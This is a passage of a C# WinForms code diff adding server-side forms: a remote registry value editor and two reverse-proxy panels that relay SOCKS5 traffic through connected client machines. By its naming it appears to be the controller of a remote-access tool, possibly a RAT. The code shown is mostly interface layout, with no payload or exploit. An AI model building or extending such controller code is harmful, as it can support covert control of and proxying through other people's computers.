this.rjButton1.BackgroundColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjButton1.BorderColor = System.Drawing.Color.PaleVioletRed;
this.rjButton1.BorderRadius = 0;
this.rjButton1.BorderSize = 0;
this.rjButton1.FlatAppearance.BorderSize = 0;
this.rjButton1.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
this.rjButton1.Font = new System.Drawing.Font("Arial", 9f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 204);
this.rjButton1.ForeColor = System.Drawing.Color.White;
this.rjButton1.Location = new System.Drawing.Point(200, 145);
this.rjButton1.Name = "rjButton1";
this.rjButton1.Size = new System.Drawing.Size(74, 31);
this.rjButton1.TabIndex = 52;
this.rjButton1.Text = "Save";
this.rjButton1.TextColor = System.Drawing.Color.White;
this.rjButton1.UseVisualStyleBackColor = false;
this.rjButton1.Click += new System.EventHandler(rjButton1_Click);
base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
base.ClientSize = new System.Drawing.Size(367, 189);
base.Controls.Add(this.rjButton1);
base.Controls.Add(this.valueDataTxtBox);
base.Controls.Add(this.rjButton4);
base.Controls.Add(this.valueNameTxtBox);
base.Name = "FormRegisterValueEditString";
this.Text = "Register Value Edit String";
base.Load += new System.EventHandler(FormRegisterValueEditString_Load);
base.ResumeLayout(false);
}
}
+242
View File
@@ -0,0 +1,242 @@
using System;
using System.ComponentModel;
using System.Drawing;
using System.Windows.Forms;
using CustomControls.RJControls;
using MaterialSkin;
using Microsoft.Win32;
using Server.Helper;
namespace Server.Forms;
public class FormRegisterValueEditWord : FormMaterial
{
private readonly RegistrySeeker.RegValueData _value;
private const string DWORD_WARNING = "The decimal value entered is greater than the maximum value of a DWORD (32-bit number). Should the value be truncated in order to continue?";
private const string QWORD_WARNING = "The decimal value entered is greater than the maximum value of a QWORD (64-bit number). Should the value be truncated in order to continue?";
private IContainer components;
private RJButton rjButton4;
private RJTextBox valueNameTxtBox;
private RJButton rjButton1;
private GroupBox baseBox;
private RadioButton radioDecimal;
private RadioButton radioHexa;
private WordTextBox valueDataTxtBox;
public FormRegisterValueEditWord(RegistrySeeker.RegValueData value)
{
_value = value;
InitializeComponent();
valueNameTxtBox.Text = value.Name;
if (value.Kind == RegistryValueKind.DWord)
{
Text = "Register Value Edit DWORD (32-bit) Value";
valueDataTxtBox.Type = WordTextBox.WordType.DWORD;
valueDataTxtBox.Text = Server.Helper.ByteConverter.ToUInt32(value.Data).ToString("x");
}
else
{
Text = "Register Value Edit QWORD (64-bit) Value";
valueDataTxtBox.Type = WordTextBox.WordType.QWORD;
valueDataTxtBox.Text = Server.Helper.ByteConverter.ToUInt64(value.Data).ToString("x");
}
}
private void FormRegisterValueEditString_Load(object sender, EventArgs e)
{
MaterialSkinManager.Instance.ThemeChanged += ChangeScheme;
ChangeScheme(this);
}
private void ChangeScheme(object sender)
{
valueDataTxtBox.BackColor = FormMaterial.PrimaryColor;
valueNameTxtBox.BorderColor = FormMaterial.PrimaryColor;
rjButton1.BackColor = FormMaterial.PrimaryColor;
rjButton4.BackColor = FormMaterial.PrimaryColor;
baseBox.ForeColor = FormMaterial.PrimaryColor;
radioHexa.ForeColor = FormMaterial.PrimaryColor;
radioDecimal.ForeColor = FormMaterial.PrimaryColor;
}
private void rjButton1_Click(object sender, EventArgs e)
{
if (valueDataTxtBox.IsConversionValid() || IsOverridePossible())
{
_value.Data = ((_value.Kind == RegistryValueKind.DWord) ? Server.Helper.ByteConverter.GetBytes(valueDataTxtBox.UIntValue) : Server.Helper.ByteConverter.GetBytes(valueDataTxtBox.ULongValue));
base.Tag = _value;
base.DialogResult = DialogResult.OK;
}
else
{
base.DialogResult = DialogResult.None;
}
Close();
}
private DialogResult ShowWarning(string msg, string caption)
{
return MessageBox.Show(msg, caption, MessageBoxButtons.YesNo, MessageBoxIcon.Exclamation);
}
private bool IsOverridePossible()
{
return ShowWarning((_value.Kind == RegistryValueKind.DWord) ? "The decimal value entered is greater than the maximum value of a DWORD (32-bit number). Should the value be truncated in order to continue?" : "The decimal value entered is greater than the maximum value of a QWORD (64-bit number). Should the value be truncated in order to continue?", "Overflow") == DialogResult.Yes;
}
private void radioHexa_CheckedChanged(object sender, EventArgs e)
{
if (valueDataTxtBox.IsHexNumber != radioHexa.Checked)
{
if (valueDataTxtBox.IsConversionValid() || IsOverridePossible())
{
valueDataTxtBox.IsHexNumber = radioHexa.Checked;
}
else
{
radioDecimal.Checked = true;
}
}
}
private void rjButton4_Click(object sender, EventArgs e)
{
Close();
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.rjButton4 = new CustomControls.RJControls.RJButton();
this.valueNameTxtBox = new CustomControls.RJControls.RJTextBox();
this.rjButton1 = new CustomControls.RJControls.RJButton();
this.baseBox = new System.Windows.Forms.GroupBox();
this.radioDecimal = new System.Windows.Forms.RadioButton();
this.radioHexa = new System.Windows.Forms.RadioButton();
this.valueDataTxtBox = new Server.Helper.WordTextBox();
this.baseBox.SuspendLayout();
base.SuspendLayout();
this.rjButton4.BackColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjButton4.BackgroundColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjButton4.BorderColor = System.Drawing.Color.PaleVioletRed;
this.rjButton4.BorderRadius = 0;
this.rjButton4.BorderSize = 0;
this.rjButton4.FlatAppearance.BorderSize = 0;
this.rjButton4.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
this.rjButton4.Font = new System.Drawing.Font("Arial", 9f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 204);
this.rjButton4.ForeColor = System.Drawing.Color.White;
this.rjButton4.Location = new System.Drawing.Point(280, 155);
this.rjButton4.Name = "rjButton4";
this.rjButton4.Size = new System.Drawing.Size(74, 31);
this.rjButton4.TabIndex = 50;
this.rjButton4.Text = "Cancel";
this.rjButton4.TextColor = System.Drawing.Color.White;
this.rjButton4.UseVisualStyleBackColor = false;
this.rjButton4.Click += new System.EventHandler(rjButton4_Click);
this.valueNameTxtBox.BackColor = System.Drawing.SystemColors.Window;
this.valueNameTxtBox.BorderColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.valueNameTxtBox.BorderFocusColor = System.Drawing.Color.HotPink;
this.valueNameTxtBox.BorderRadius = 0;
this.valueNameTxtBox.BorderSize = 1;
this.valueNameTxtBox.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.5f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 0);
this.valueNameTxtBox.ForeColor = System.Drawing.Color.FromArgb(64, 64, 64);
this.valueNameTxtBox.Location = new System.Drawing.Point(7, 117);
this.valueNameTxtBox.Margin = new System.Windows.Forms.Padding(4);
this.valueNameTxtBox.Multiline = false;
this.valueNameTxtBox.Name = "valueNameTxtBox";
this.valueNameTxtBox.Padding = new System.Windows.Forms.Padding(10, 7, 10, 7);
this.valueNameTxtBox.PasswordChar = false;
this.valueNameTxtBox.PlaceholderColor = System.Drawing.Color.DarkGray;
this.valueNameTxtBox.PlaceholderText = "Name";
this.valueNameTxtBox.Size = new System.Drawing.Size(347, 31);
this.valueNameTxtBox.TabIndex = 49;
this.valueNameTxtBox.Texts = "";
this.valueNameTxtBox.UnderlinedStyle = false;
this.rjButton1.BackColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjButton1.BackgroundColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjButton1.BorderColor = System.Drawing.Color.PaleVioletRed;
this.rjButton1.BorderRadius = 0;
this.rjButton1.BorderSize = 0;
this.rjButton1.FlatAppearance.BorderSize = 0;
this.rjButton1.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
this.rjButton1.Font = new System.Drawing.Font("Arial", 9f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 204);
this.rjButton1.ForeColor = System.Drawing.Color.White;
this.rjButton1.Location = new System.Drawing.Point(200, 155);
this.rjButton1.Name = "rjButton1";
this.rjButton1.Size = new System.Drawing.Size(74, 31);
this.rjButton1.TabIndex = 52;
this.rjButton1.Text = "Save";
this.rjButton1.TextColor = System.Drawing.Color.White;
this.rjButton1.UseVisualStyleBackColor = false;
this.rjButton1.Click += new System.EventHandler(rjButton1_Click);
this.baseBox.Controls.Add(this.radioDecimal);
this.baseBox.Controls.Add(this.radioHexa);
this.baseBox.ForeColor = System.Drawing.Color.MediumSlateBlue;
this.baseBox.Location = new System.Drawing.Point(7, 155);
this.baseBox.Name = "baseBox";
this.baseBox.Size = new System.Drawing.Size(156, 68);
this.baseBox.TabIndex = 53;
this.baseBox.TabStop = false;
this.baseBox.Text = "Base";
this.radioDecimal.AutoSize = true;
this.radioDecimal.Location = new System.Drawing.Point(14, 43);
this.radioDecimal.Name = "radioDecimal";
this.radioDecimal.Size = new System.Drawing.Size(63, 17);
this.radioDecimal.TabIndex = 4;
this.radioDecimal.Text = "Decimal";
this.radioDecimal.UseVisualStyleBackColor = true;
this.radioHexa.AutoSize = true;
this.radioHexa.Checked = true;
this.radioHexa.Location = new System.Drawing.Point(14, 18);
this.radioHexa.Name = "radioHexa";
this.radioHexa.Size = new System.Drawing.Size(86, 17);
this.radioHexa.TabIndex = 3;
this.radioHexa.TabStop = true;
this.radioHexa.Text = "Hexadecimal";
this.radioHexa.UseVisualStyleBackColor = true;
this.radioHexa.CheckedChanged += new System.EventHandler(radioHexa_CheckedChanged);
this.valueDataTxtBox.BackColor = System.Drawing.Color.White;
this.valueDataTxtBox.ForeColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.valueDataTxtBox.IsHexNumber = false;
this.valueDataTxtBox.Location = new System.Drawing.Point(7, 81);
this.valueDataTxtBox.MaxLength = 8;
this.valueDataTxtBox.Multiline = true;
this.valueDataTxtBox.Name = "valueDataTxtBox";
this.valueDataTxtBox.Size = new System.Drawing.Size(347, 29);
this.valueDataTxtBox.TabIndex = 54;
this.valueDataTxtBox.Type = Server.Helper.WordTextBox.WordType.DWORD;
base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
base.ClientSize = new System.Drawing.Size(378, 240);
base.Controls.Add(this.valueDataTxtBox);
base.Controls.Add(this.baseBox);
base.Controls.Add(this.rjButton1);
base.Controls.Add(this.rjButton4);
base.Controls.Add(this.valueNameTxtBox);
base.Name = "FormRegisterValueEditWord";
this.Text = "Register Value Edit Word";
base.Load += new System.EventHandler(FormRegisterValueEditString_Load);
this.baseBox.ResumeLayout(false);
this.baseBox.PerformLayout();
base.ResumeLayout(false);
base.PerformLayout();
}
}
+358
View File
@@ -0,0 +1,358 @@
using System;
using System.ComponentModel;
using System.Drawing;
using System.Windows.Forms;
using CustomControls.RJControls;
using MaterialSkin;
using Server.Connectings;
using Server.Helper;
using Server.Helper.Sock5;
namespace Server.Forms;
public class FormReverseProxy : FormMaterial
{
public Clients client;
public Clients parrent;
public Server.Helper.Sock5.Server server;
private IContainer components;
public RJButton rjButton1;
public DataGridView GridIps;
private DataGridViewTextBoxColumn ColumnClient;
private DataGridViewTextBoxColumn ColumnTarget;
private DataGridViewTextBoxColumn ColumnTargetPort;
private DataGridViewTextBoxColumn ColumnTotalRecived;
private DataGridViewTextBoxColumn ColumnTotalSent;
private Timer timer1;
private Panel panel1;
public RJTextBox rjTextBox1;
public FormReverseProxy()
{
InitializeComponent();
base.FormClosing += Closing1;
}
private void NewItem(Client client)
{
try
{
client.Tag = new DataGridViewRow();
((DataGridViewRow)client.Tag).Tag = client;
((DataGridViewRow)client.Tag).Cells.Add(new DataGridViewTextBoxCell
{
Value = this.client.IP
});
((DataGridViewRow)client.Tag).Cells.Add(new DataGridViewTextBoxCell
{
Value = client.IPAddress
});
((DataGridViewRow)client.Tag).Cells.Add(new DataGridViewTextBoxCell
{
Value = client.Port
});
((DataGridViewRow)client.Tag).Cells.Add(new DataGridViewTextBoxCell
{
Value = Methods.BytesToString(client.Recives)
});
((DataGridViewRow)client.Tag).Cells.Add(new DataGridViewTextBoxCell
{
Value = Methods.BytesToString(client.Sents)
});
Invoke((MethodInvoker)delegate
{
GridIps.Rows.Add((DataGridViewRow)client.Tag);
});
}
catch
{
}
}
private void RemoveItem(Client client)
{
if (client.Tag == null)
{
return;
}
try
{
Invoke((MethodInvoker)delegate
{
GridIps.Rows.Remove((DataGridViewRow)client.Tag);
});
((DataGridViewRow)client.Tag).Dispose();
}
catch
{
}
}
private void EditItem(Client client, long sent, long recive)
{
if (client.Tag != null)
{
try
{
((DataGridViewRow)client.Tag).Cells[0].Value = this.client.IP;
((DataGridViewRow)client.Tag).Cells[1].Value = client.IPAddress;
((DataGridViewRow)client.Tag).Cells[2].Value = client.Port;
((DataGridViewRow)client.Tag).Cells[3].Value = Methods.BytesToString(client.Recives);
((DataGridViewRow)client.Tag).Cells[4].Value = Methods.BytesToString(client.Sents);
}
catch
{
}
}
}
private void RemoteDesktop_Load(object sender, EventArgs e)
{
MaterialSkinManager.Instance.ThemeChanged += ChangeScheme;
ChangeScheme(this);
timer1.Start();
}
public void Activea()
{
server.ConnectEvent += NewItem;
server.DisconnectEvent += RemoveItem;
server.ResponceEvent += EditItem;
}
private void ChangeScheme(object sender)
{
GridIps.ColumnHeadersDefaultCellStyle.SelectionForeColor = FormMaterial.PrimaryColor;
GridIps.ColumnHeadersDefaultCellStyle.ForeColor = FormMaterial.PrimaryColor;
GridIps.DefaultCellStyle.SelectionBackColor = FormMaterial.PrimaryColor;
GridIps.DefaultCellStyle.ForeColor = FormMaterial.PrimaryColor;
rjTextBox1.BorderColor = FormMaterial.PrimaryColor;
rjButton1.BackColor = FormMaterial.PrimaryColor;
}
private void rjButton1_Click(object sender, EventArgs e)
{
if (rjButton1.Text == "Start")
{
try
{
Convert.ToInt32(rjTextBox1.Texts);
}
catch
{
return;
}
server.Start(Convert.ToInt32(rjTextBox1.Texts));
rjButton1.Text = "Stop";
}
else
{
server.Stop();
rjButton1.Text = "Start";
}
}
private void Closing1(object sender, EventArgs e)
{
if (client != null)
{
client.Disconnect();
}
server.Stop();
}
private void timer1_Tick(object sender, EventArgs e)
{
if (!parrent.itsConnect)
{
Close();
}
if (client != null && !client.itsConnect)
{
Close();
}
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle = new System.Windows.Forms.DataGridViewCellStyle();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle();
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Server.Forms.FormReverseProxy));
this.rjTextBox1 = new CustomControls.RJControls.RJTextBox();
this.rjButton1 = new CustomControls.RJControls.RJButton();
this.GridIps = new System.Windows.Forms.DataGridView();
this.ColumnClient = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.ColumnTarget = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.ColumnTargetPort = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.ColumnTotalRecived = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.ColumnTotalSent = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.timer1 = new System.Windows.Forms.Timer(this.components);
this.panel1 = new System.Windows.Forms.Panel();
((System.ComponentModel.ISupportInitialize)this.GridIps).BeginInit();
base.SuspendLayout();
this.rjTextBox1.BackColor = System.Drawing.Color.White;
this.rjTextBox1.BorderColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjTextBox1.BorderFocusColor = System.Drawing.Color.Yellow;
this.rjTextBox1.BorderRadius = 0;
this.rjTextBox1.BorderSize = 1;
this.rjTextBox1.Enabled = false;
this.rjTextBox1.Font = new System.Drawing.Font("Microsoft Sans Serif", 8f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 0);
this.rjTextBox1.ForeColor = System.Drawing.Color.Black;
this.rjTextBox1.Location = new System.Drawing.Point(7, 69);
this.rjTextBox1.Margin = new System.Windows.Forms.Padding(4);
this.rjTextBox1.Multiline = false;
this.rjTextBox1.Name = "rjTextBox1";
this.rjTextBox1.Padding = new System.Windows.Forms.Padding(10, 7, 10, 7);
this.rjTextBox1.PasswordChar = false;
this.rjTextBox1.PlaceholderColor = System.Drawing.Color.DarkGray;
this.rjTextBox1.PlaceholderText = "Port";
this.rjTextBox1.Size = new System.Drawing.Size(92, 28);
this.rjTextBox1.TabIndex = 2;
this.rjTextBox1.Texts = "4680";
this.rjTextBox1.UnderlinedStyle = false;
this.rjButton1.BackColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjButton1.BackgroundColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjButton1.BorderColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjButton1.BorderRadius = 0;
this.rjButton1.BorderSize = 0;
this.rjButton1.Enabled = false;
this.rjButton1.FlatAppearance.BorderSize = 0;
this.rjButton1.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
this.rjButton1.ForeColor = System.Drawing.Color.White;
this.rjButton1.Location = new System.Drawing.Point(106, 69);
this.rjButton1.Name = "rjButton1";
this.rjButton1.Size = new System.Drawing.Size(92, 27);
this.rjButton1.TabIndex = 3;
this.rjButton1.Text = "Start";
this.rjButton1.TextColor = System.Drawing.Color.White;
this.rjButton1.UseVisualStyleBackColor = false;
this.rjButton1.Click += new System.EventHandler(rjButton1_Click);
this.GridIps.AllowUserToAddRows = false;
this.GridIps.AllowUserToDeleteRows = false;
this.GridIps.AllowUserToResizeColumns = false;
this.GridIps.AllowUserToResizeRows = false;
this.GridIps.Anchor = System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left | System.Windows.Forms.AnchorStyles.Right;
this.GridIps.BackgroundColor = System.Drawing.Color.White;
this.GridIps.BorderStyle = System.Windows.Forms.BorderStyle.None;
this.GridIps.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None;
this.GridIps.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;
dataGridViewCellStyle.Alignment = System.Windows.Forms.DataGridViewContentAlignment.TopLeft;
dataGridViewCellStyle.BackColor = System.Drawing.Color.White;
dataGridViewCellStyle.Font = new System.Drawing.Font("Arial", 9f);
dataGridViewCellStyle.ForeColor = System.Drawing.Color.Purple;
dataGridViewCellStyle.SelectionBackColor = System.Drawing.Color.White;
dataGridViewCellStyle.SelectionForeColor = System.Drawing.Color.Purple;
dataGridViewCellStyle.WrapMode = System.Windows.Forms.DataGridViewTriState.True;
this.GridIps.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle;
this.GridIps.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize;
this.GridIps.Columns.AddRange(this.ColumnClient, this.ColumnTarget, this.ColumnTargetPort, this.ColumnTotalRecived, this.ColumnTotalSent);
this.GridIps.Cursor = System.Windows.Forms.Cursors.Default;
dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
dataGridViewCellStyle2.BackColor = System.Drawing.Color.White;
dataGridViewCellStyle2.Font = new System.Drawing.Font("Arial", 9f);
dataGridViewCellStyle2.ForeColor = System.Drawing.Color.Purple;
dataGridViewCellStyle2.SelectionBackColor = System.Drawing.Color.Purple;
dataGridViewCellStyle2.SelectionForeColor = System.Drawing.Color.White;
dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False;
this.GridIps.DefaultCellStyle = dataGridViewCellStyle2;
this.GridIps.Enabled = false;
this.GridIps.EnableHeadersVisualStyles = false;
this.GridIps.GridColor = System.Drawing.Color.FromArgb(17, 17, 17);
this.GridIps.Location = new System.Drawing.Point(6, 104);
this.GridIps.Name = "GridIps";
this.GridIps.ReadOnly = true;
this.GridIps.RowHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;
dataGridViewCellStyle3.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
dataGridViewCellStyle3.BackColor = System.Drawing.Color.FromArgb(17, 17, 17);
dataGridViewCellStyle3.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 204);
dataGridViewCellStyle3.ForeColor = System.Drawing.Color.FromArgb(0, 192, 0);
dataGridViewCellStyle3.Padding = new System.Windows.Forms.Padding(1, 0, 0, 0);
dataGridViewCellStyle3.SelectionBackColor = System.Drawing.Color.FromArgb(0, 192, 0);
dataGridViewCellStyle3.SelectionForeColor = System.Drawing.Color.FromArgb(17, 17, 17);
dataGridViewCellStyle3.WrapMode = System.Windows.Forms.DataGridViewTriState.True;
this.GridIps.RowHeadersDefaultCellStyle = dataGridViewCellStyle3;
this.GridIps.RowHeadersVisible = false;
this.GridIps.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect;
this.GridIps.ShowCellErrors = false;
this.GridIps.ShowCellToolTips = false;
this.GridIps.ShowEditingIcon = false;
this.GridIps.ShowRowErrors = false;
this.GridIps.Size = new System.Drawing.Size(547, 333);
this.GridIps.TabIndex = 14;
this.ColumnClient.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells;
this.ColumnClient.HeaderText = "Client";
this.ColumnClient.MinimumWidth = 80;
this.ColumnClient.Name = "ColumnClient";
this.ColumnClient.ReadOnly = true;
this.ColumnClient.Width = 80;
this.ColumnTarget.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells;
this.ColumnTarget.HeaderText = "Target";
this.ColumnTarget.MinimumWidth = 80;
this.ColumnTarget.Name = "ColumnTarget";
this.ColumnTarget.ReadOnly = true;
this.ColumnTarget.Width = 80;
this.ColumnTargetPort.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells;
this.ColumnTargetPort.HeaderText = "Target Port";
this.ColumnTargetPort.MinimumWidth = 120;
this.ColumnTargetPort.Name = "ColumnTargetPort";
this.ColumnTargetPort.ReadOnly = true;
this.ColumnTargetPort.Width = 120;
this.ColumnTotalRecived.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells;
this.ColumnTotalRecived.HeaderText = "Total Recived";
this.ColumnTotalRecived.MinimumWidth = 120;
this.ColumnTotalRecived.Name = "ColumnTotalRecived";
this.ColumnTotalRecived.ReadOnly = true;
this.ColumnTotalRecived.Width = 120;
this.ColumnTotalSent.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;
this.ColumnTotalSent.HeaderText = "Total Sent";
this.ColumnTotalSent.Name = "ColumnTotalSent";
this.ColumnTotalSent.ReadOnly = true;
this.timer1.Interval = 1000;
this.timer1.Tick += new System.EventHandler(timer1_Tick);
this.panel1.BackColor = System.Drawing.Color.White;
this.panel1.Dock = System.Windows.Forms.DockStyle.Fill;
this.panel1.Location = new System.Drawing.Point(3, 64);
this.panel1.Name = "panel1";
this.panel1.Size = new System.Drawing.Size(554, 376);
this.panel1.TabIndex = 15;
base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.BackColor = System.Drawing.Color.White;
base.ClientSize = new System.Drawing.Size(560, 443);
base.Controls.Add(this.GridIps);
base.Controls.Add(this.rjTextBox1);
base.Controls.Add(this.rjButton1);
base.Controls.Add(this.panel1);
base.Icon = (System.Drawing.Icon)resources.GetObject("$this.Icon");
this.MinimumSize = new System.Drawing.Size(560, 443);
base.Name = "FormReverseProxy";
this.Text = "Reverse Proxy";
base.Load += new System.EventHandler(RemoteDesktop_Load);
((System.ComponentModel.ISupportInitialize)this.GridIps).EndInit();
base.ResumeLayout(false);
}
}
+448
View File
@@ -0,0 +1,448 @@
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Drawing;
using System.IO;
using System.Threading.Tasks;
using System.Windows.Forms;
using CustomControls.RJControls;
using MaterialSkin;
using MaterialSkin.Controls;
using Newtonsoft.Json;
using Server.Connectings;
using Server.Data;
using Server.Helper;
using Server.Helper.Sock5;
namespace Server.Forms;
public class FormReverseProxyR : FormMaterial
{
public bool work;
public global::Server.Helper.Sock5.Server Server = new global::Server.Helper.Sock5.Server(new List<Clients>());
private IContainer components;
public RJButton rjButton1;
public DataGridView GridIps;
private DataGridViewTextBoxColumn ColumnClient;
private DataGridViewTextBoxColumn ColumnTarget;
private DataGridViewTextBoxColumn ColumnTargetPort;
private DataGridViewTextBoxColumn ColumnTotalRecived;
private DataGridViewTextBoxColumn ColumnTotalSent;
private Panel panel1;
public RJTextBox rjTextBox1;
public RJButton rjButton2;
private Timer timer1;
public MaterialSwitch materialSwitch2;
public FormReverseProxyR()
{
InitializeComponent();
base.FormClosing += Closing1;
}
private void NewItem(Client client)
{
try
{
client.Tag = new DataGridViewRow();
((DataGridViewRow)client.Tag).Tag = client;
((DataGridViewRow)client.Tag).Cells.Add(new DataGridViewTextBoxCell
{
Value = client.ClientReverse.IP
});
((DataGridViewRow)client.Tag).Cells.Add(new DataGridViewTextBoxCell
{
Value = client.IPAddress
});
((DataGridViewRow)client.Tag).Cells.Add(new DataGridViewTextBoxCell
{
Value = client.Port
});
((DataGridViewRow)client.Tag).Cells.Add(new DataGridViewTextBoxCell
{
Value = Methods.BytesToString(client.Recives)
});
((DataGridViewRow)client.Tag).Cells.Add(new DataGridViewTextBoxCell
{
Value = Methods.BytesToString(client.Sents)
});
Invoke((MethodInvoker)delegate
{
GridIps.Rows.Add((DataGridViewRow)client.Tag);
});
}
catch
{
}
}
private void RemoveItem(Client client)
{
if (client.Tag == null)
{
return;
}
try
{
Invoke((MethodInvoker)delegate
{
GridIps.Rows.Remove((DataGridViewRow)client.Tag);
});
((DataGridViewRow)client.Tag).Dispose();
}
catch
{
}
}
private void EditItem(Client client, long sent, long recive)
{
if (client.Tag != null)
{
try
{
((DataGridViewRow)client.Tag).Cells[0].Value = client.ClientReverse.IP;
((DataGridViewRow)client.Tag).Cells[1].Value = client.IPAddress;
((DataGridViewRow)client.Tag).Cells[2].Value = client.Port;
((DataGridViewRow)client.Tag).Cells[3].Value = Methods.BytesToString(client.Recives);
((DataGridViewRow)client.Tag).Cells[4].Value = Methods.BytesToString(client.Sents);
}
catch
{
}
}
}
private void RemoteDesktop_Load(object sender, EventArgs e)
{
if (!Directory.Exists("local"))
{
Directory.CreateDirectory("local");
}
MaterialSkinManager.Instance.ThemeChanged += ChangeScheme;
ChangeScheme(this);
if (File.Exists("local\\ReverseProxyR.json"))
{
ReverseProxyR reverseProxyR = JsonConvert.DeserializeObject<ReverseProxyR>(File.ReadAllText("local\\ReverseProxyR.json"));
rjTextBox1.Texts = reverseProxyR.Port;
materialSwitch2.Checked = reverseProxyR.AutoStart;
if (reverseProxyR.AutoStart)
{
try
{
Convert.ToInt32(rjTextBox1.Texts);
}
catch
{
return;
}
Server.Start(Convert.ToInt32(rjTextBox1.Texts));
rjButton1.Text = "Stop";
work = true;
}
}
timer1.Start();
Server.ConnectEvent += NewItem;
Server.DisconnectEvent += RemoveItem;
Server.ResponceEvent += EditItem;
}
private void ChangeScheme(object sender)
{
GridIps.ColumnHeadersDefaultCellStyle.SelectionForeColor = FormMaterial.PrimaryColor;
GridIps.ColumnHeadersDefaultCellStyle.ForeColor = FormMaterial.PrimaryColor;
GridIps.DefaultCellStyle.SelectionBackColor = FormMaterial.PrimaryColor;
GridIps.DefaultCellStyle.ForeColor = FormMaterial.PrimaryColor;
rjTextBox1.BorderColor = FormMaterial.PrimaryColor;
rjButton1.BackColor = FormMaterial.PrimaryColor;
rjButton2.BackColor = FormMaterial.PrimaryColor;
}
private void Save()
{
ReverseProxyR reverseProxyR = new ReverseProxyR();
reverseProxyR.Port = rjTextBox1.Texts;
reverseProxyR.AutoStart = materialSwitch2.Checked;
File.WriteAllText("local\\ReverseProxyR.json", JsonConvert.SerializeObject(reverseProxyR, Formatting.Indented));
}
private void rjButton1_Click(object sender, EventArgs e)
{
Save();
if (rjButton1.Text == "Start")
{
try
{
Convert.ToInt32(rjTextBox1.Texts);
}
catch
{
return;
}
Server.Start(Convert.ToInt32(rjTextBox1.Texts));
rjButton1.Text = "Stop";
}
else
{
Server.Stop();
GridIps.Rows.Clear();
rjButton1.Text = "Start";
}
}
private void Closing1(object sender, FormClosingEventArgs e)
{
work = false;
Clients[] array = Server.ClientReverse.ToArray();
foreach (Clients client in array)
{
Task.Run(delegate
{
client.Disconnect();
});
}
Server.ClientReverse.Clear();
GridIps.Rows.Clear();
timer1.Stop();
if (rjButton1.Text == "Stop")
{
rjButton1.Text = "Start";
Server.Stop();
}
Save();
e.Cancel = true;
Hide();
}
private void rjButton2_Click(object sender, EventArgs e)
{
Hide();
}
private void timer1_Tick_1(object sender, EventArgs e)
{
Text = $"Reverse Proxy Random mode [{Server.ClientReverse.Count}]";
}
private void materialSwitch2_CheckedChanged(object sender, EventArgs e)
{
Save();
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
